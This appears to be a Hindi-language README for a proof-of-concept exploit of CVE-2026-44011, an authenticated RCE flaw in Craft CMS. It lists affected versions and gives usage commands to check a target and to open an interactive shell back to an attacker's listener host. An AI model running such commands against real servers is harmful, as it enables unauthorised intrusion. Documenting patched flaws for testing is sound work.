CVE-2026-44011: Craft CMS प्रमाणित RCE PoC

यह Python स्क्रिप्ट Craft CMS सुरक्षा सलाह में वर्णित हमले को अनुकूलित करती है। एक प्रमाणित Craft उपयोगकर्ता एक असुरक्षित field-layout कॉन्फ़िगरेशन पथ तक पहुँच सकता है और सर्वर को कमांड निष्पादित करने के लिए प्रेरित कर सकता है।

दायरा और आवश्यकताएँ

प्रभावित संस्करण Craft CMS >=4.0.0, <4.17.12 और >=5.0.0, <5.9.18 हैं।

स्क्रिप्ट के लिए दोनों होस्ट पर curl आवश्यक है। यह सर्वर पर Bash का उपयोग करती है। सर्वर पर Python3 एक इंटरैक्टिव PTY भी प्रदान करता है; इसके बिना, शेल एक बुनियादी कनेक्शन पर वापस चला जाता है।

उपयोग

# Confirm the host is vulnerable
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check

# Open an interactive shell
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'

श्रेय

Craft CMS, CVE-2026-44011 के खोजकर्ता के रूप में @precicom-vincent-tl को श्रेय देता है। भेद्यता विवरण और उदाहरण पेलोड Craft CMS सलाह GHSA-qrgm-p9w5-rrfw में प्रकाशित हैं। यह स्क्रिप्ट उस प्रकाशित तकनीक को अनुकूलित करती है।